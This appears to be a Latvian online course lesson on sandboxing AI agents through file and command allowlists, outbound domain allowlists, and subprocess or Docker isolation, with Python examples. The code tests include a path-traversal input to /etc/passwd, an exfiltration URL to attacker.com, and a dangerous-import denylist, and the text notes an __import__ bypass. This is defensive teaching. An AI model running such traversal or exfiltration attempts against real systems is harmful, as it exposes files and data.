Pāriet uz galveno saturu
Latviešu— Izvēlēties valodu
Izvēlne

Sandboxing un izolācija

Nodarbība 7 no 14 Atjaunota 2026. gada 28. jūlijs Augstākais
Šajā lapā
  1. Kāpēc izolēt AI aģentus?
  2. 1. līmenis: resursu piekļuves ierobežošana
  3. 2. līmenis: izejošās satiksmes kontrole
  4. 3. līmenis: koda izpilde, neuzticoties tam ar mašīnu
  5. Pareizā līmeņa izvēle
  6. Galvenās atziņas

Kāpēc izolēt AI aģentus?

AI aģents, kas izpilda kodu vai izsauc rīkus, fundamentāli atšķiras no vienkārša tērzēšanas bota. Apdraudēts čatbots sliktākajā gadījumā ģenerē kaunojošu atbildi; apdraudēts aģents rīkojas — tas var palaist sistēmas komandas, lasīt sensitīvus failus vai komunicēt ar ārējiem servisiem. Visas līdz šim aplūkotās aizsardzības metodes bija vērstas uz kompromitācijas novēršanu. Sandboxing maina pieeju: tas pieņem, ka kompromitācija agrāk vai vēlāk notiks, un koncentrējas uz to, lai ierobežotu uzbrucēja iespējas, tiklīdz tas ir iekļuvis sistēmā. Šī ir fundamentāla maiņa, tāpēc sandboxing neaizstāj nevienu no iepriekšējiem slāņiem.

1. līmenis: resursu piekļuves ierobežošana

Pirmais līmenis pielieto minimālo privilēģiju principu failiem un komandām. Galvenais tehniskais aspekts ir funkcijas resolve() izmantošana pirms salīdzināšanas: bez tās ceļš, piemēram, /data/app/uploads/../../etc/passwd, sākas ar atļauto direktoriju un izietu cauri naivai prefiksa pārbaudei. Reālā ceļa atrisināšana (resolve) novērš šo traversēšanu, kas joprojām ir viens no izplatītākajiem uzbrukumiem pret aģentiem, kas manipulē ar failiem.

import os
from pathlib import Path

class SandboxPermissions:
    """Controls access permissions to resources."""

    def __init__(self, allowed_folder: str, allowed_commands: list[str]):
        self.allowed_folder = Path(allowed_folder).resolve()
        self.allowed_commands = set(allowed_commands)

    def verify_path(self, path: str) -> bool:
        """Verifies that a path is within the allowed folder."""
        resolved_path = Path(path).resolve()
        try:
            resolved_path.relative_to(self.allowed_folder)
            return True
        except ValueError:
            return False

    def verify_command(self, command: str) -> bool:
        """Verifies that a command is in the allowlist."""
        cmd_base = command.split()[0] if command else ""
        return cmd_base in self.allowed_commands

    def read_file(self, path: str) -> str:
        """Secure reading with path verification."""
        if not self.verify_path(path):
            raise PermissionError(
                f"Access denied: {path} is outside the allowed folder"
            )
        return Path(path).read_text()

# Usage
sandbox = SandboxPermissions(
    allowed_folder="/data/app/uploads",
    allowed_commands=["ls", "cat", "wc"],
)

# OK: file in allowed folder
try:
    content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
    print(f"Blocked: {e}")

# Blocked: path traversal attempt
try:
    content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
    print(f"Blocked: {e}")

Komandas ievēro to pašu loģiku, izmantojot atļauto sarakstu (allowlist), nevis bloķēto sarakstu (blocklist). Asimetrija ir izšķiroša: bloķētais saraksts liež tev iztēloties katru bīstamo komandu — uzdevums, kurā tu zaudēsi, — turpretī atļauto saraksts prasa tikai uzskaitīt to, kas aģentam faktiski nepieciešams, bieži vien tikai trīs vai četras komandas.

2. līmenis: izejošās satiksmes kontrole

Tīkla izolācija risina iepriekš apspriesto datu noplūdes scenāriju. Kamēr aģents var nosūtīt HTTP pieprasījumu uz jebkuru domēnu, jebkuri dati, kuriem tas pieskaras, var pamest tavu perimetru, un izejošā satiksme izskatīsies kā parasta lietotnes satiksme. Mērķu ierobežošana līdz eksplicītam sarakstam pārvērš noplūdes mēģinājumu reģistrētā izņēmumā.

import subprocess

class NetworkSandbox:
    """Controls the agent's network communications."""

    def __init__(self, allowed_domains: list[str]):
        self.allowed_domains = set(allowed_domains)

    def is_allowed_request(self, url: str) -> bool:
        """Verifies that a URL is in the allowlist."""
        from urllib.parse import urlparse
        domain = urlparse(url).hostname
        return domain in self.allowed_domains

    def secure_fetch(self, url: str) -> str:
        """HTTP request with domain verification."""
        if not self.is_allowed_request(url):
            raise PermissionError(f"Domain not allowed: {url}")
        import urllib.request
        with urllib.request.urlopen(url, timeout=10) as resp:
            return resp.read().decode()

sandbox_net = NetworkSandbox(
    allowed_domains=["api.openai.com", "api.anthropic.com"]
)

# OK
try:
    sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
    print(e)

# Blocked: exfiltration to an external domain
try:
    sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
    print(f"Blocked: {e}")

3. līmenis: koda izpilde, neuzticoties tam ar mašīnu

Modeļa ģenerēta koda izpilde ir visdelikātākais gadījums. Tālāk redzamā implementācija apvieno trīs aizsardzības slāņus: importu pārbaudi pirms izpildes, atmiņas un CPU laika limitus, kas iestatīti pašā skriptā, un vidi, kas samazināta līdz absolūtajam minimumam, palaižot apakšprocesu.

Nepieciešams brīdinājums attiecībā uz importu verificēšanu. Tā balstās uz teksta meklēšanu, un izmanīgs uzbrucējs to apiet — __import__("os") nesatur meklēto virkni. Uztver šo verificēšanu kā aizsargbarjeru pret kļūdām un naiviem mēģinājumiem, nekad kā drošības robežu. Īstā robeža ir izolētais process ar saviem resursu limitiem.

import subprocess
import tempfile
import os

class ExecutionSandbox:
    """Executes model-generated code in an isolated environment."""

    def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
        self.timeout = timeout
        self.max_memory = max_memory_mb

    def execute_python(self, code: str) -> dict:
        """Executes Python code in an isolated process."""
        # Security checks before execution
        dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
        for imp in dangerous_imports:
            if f"import {imp}" in code or f"from {imp}" in code:
                return {
                    "success": False,
                    "error": f"Forbidden import: {imp}",
                    "output": "",
                }

        # Create a temporary file
        with tempfile.NamedTemporaryFile(
            mode="w", suffix=".py", delete=False
        ) as f:
            # Add restrictions at the start of the script
            wrapper = f"""
import resource
import sys

# Limit memory
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))

# Limit CPU time
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))

# User code
{code}
"""
            f.write(wrapper)
            temp_file = f.name

        try:
            result = subprocess.run(
                ["python3", temp_file],
                capture_output=True,
                text=True,
                timeout=self.timeout,
                env={"PATH": "/usr/bin", "HOME": "/tmp"},
            )
            return {
                "success": result.returncode == 0,
                "output": result.stdout[:5000],
                "error": result.stderr[:2000] if result.returncode != 0 else "",
            }
        except subprocess.TimeoutExpired:
            return {"success": False, "error": "Timeout exceeded", "output": ""}
        finally:
            os.unlink(temp_file)

# Usage
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)

# OK: simple calculation
result = sandbox.execute_python("print(sum(range(100)))")
print(result)  # {"success": True, "output": "4950\n", "error": ""}

# Blocked: system access attempt
result = sandbox.execute_python("import os; os.listdir('/')")
print(result)  # {"success": False, "error": "Forbidden import: os"}

Produkcijas vidēm Docker nodrošina robustāku izolāciju, jo tas vairs nepaļaujas uz izpildāmā koda sadarbību. Katra komandas opcija aizver konkrētas durvis: --network=none novērš jebkādu tīkla noplūdi, --read-only neļauj saglabāt datus, --memory un --cpus ierobežo patēriņu, --tmpfs piešķir nestabilu un limitētu darba vietu, bet --security-opt=no-new-privileges aizliedz privilēģiju paaugstināšanu izpildes laikā. Karogs --rm dzēš konteineru beigās, garantējot, ka neviena stāvokļa informācija nepāriet no vienas izpildes uz nākamo.

class DockerSandbox:
    """Executes code in an ephemeral Docker container."""

    def __init__(self, image: str = "python:3.12-slim"):
        self.image = image

    def execute(self, code: str, timeout: int = 10) -> dict:
        """Executes code in an isolated container."""
        cmd = [
            "docker", "run", "--rm",
            "--network=none",          # No network
            "--memory=256m",           # Memory limit
            "--cpus=0.5",              # CPU limit
            "--read-only",             # Read-only filesystem
            "--tmpfs=/tmp:size=50m",   # Limited temporary space
            "--security-opt=no-new-privileges",
            self.image,
            "python3", "-c", code,
        ]
        try:
            result = subprocess.run(
                cmd, capture_output=True, text=True, timeout=timeout
            )
            return {
                "success": result.returncode == 0,
                "output": result.stdout[:5000],
                "error": result.stderr[:2000],
            }
        except subprocess.TimeoutExpired:
            return {"success": False, "error": "Timeout", "output": ""}

Pareizā līmeņa izvēle

Visu trīs līmeņu sakraušana vienkāršam FAQ čatbotam ir dārga un nevajadzīga, savukārt paļaušanās tikai uz pirmo līmeni aģentam, kas izpilda kodu, nozīmē neaizsargāt neko. Tālāk esošā tabula sniedz sākumpunktu; pielāgo to, ņemot vērā pieejamo datu sensitivitāti, kas bieži vien ir svarīgāka par paša aģenta sarežģītību.

Scenārijs Ieteicamais līmenis
Vienkāršs jautājumu un atbilžu čatbots Atļaujas (1. līmenis)
Aģents ar API piekļuvi Atļaujas + Tīkls (1.–2. līmenis)
Aģents, kas izpilda kodu Pilns Docker (3. līmenis)
Daudzlietotāju aģents Docker + sesiju izolācija

Neatkarīgi no izvēlētā līmeņa, testē to tāpat kā jebkuru citu funkcionalitāti. Sandbox, ko uzstādi un aizmirsti, laika gaitā nemanāmi degradējas — jauna atkarība, „uz laiku” pievienots sējums, domēns, atvērts problēmu novēršanai. Atkārto ceļa traversēšanas un aizliegto domēnu testus ar katru aģenta atjauninājumu: sandbox apiešana nav neliela anomālija, tas ir kritisks incidents.

Galvenās atziņas

  • Sandboxing ir būtisks tiklīdz aģentam ir piekļuve rīkiem vai tas izpilda kodu
  • Trīs izolācijas līmeņi: atļaujas, tīkls, konteiners — kombinē atbilstoši riskam
  • Minimālo privilēģiju princips attiecas uz katru resursu: failiem, tīklu, komandām
  • Docker ar --network=none un --read-only nodrošina visrobustāko izolāciju
  • Izolācija ir regulāri jātestē — sandbox apiešana ir kritisks incidents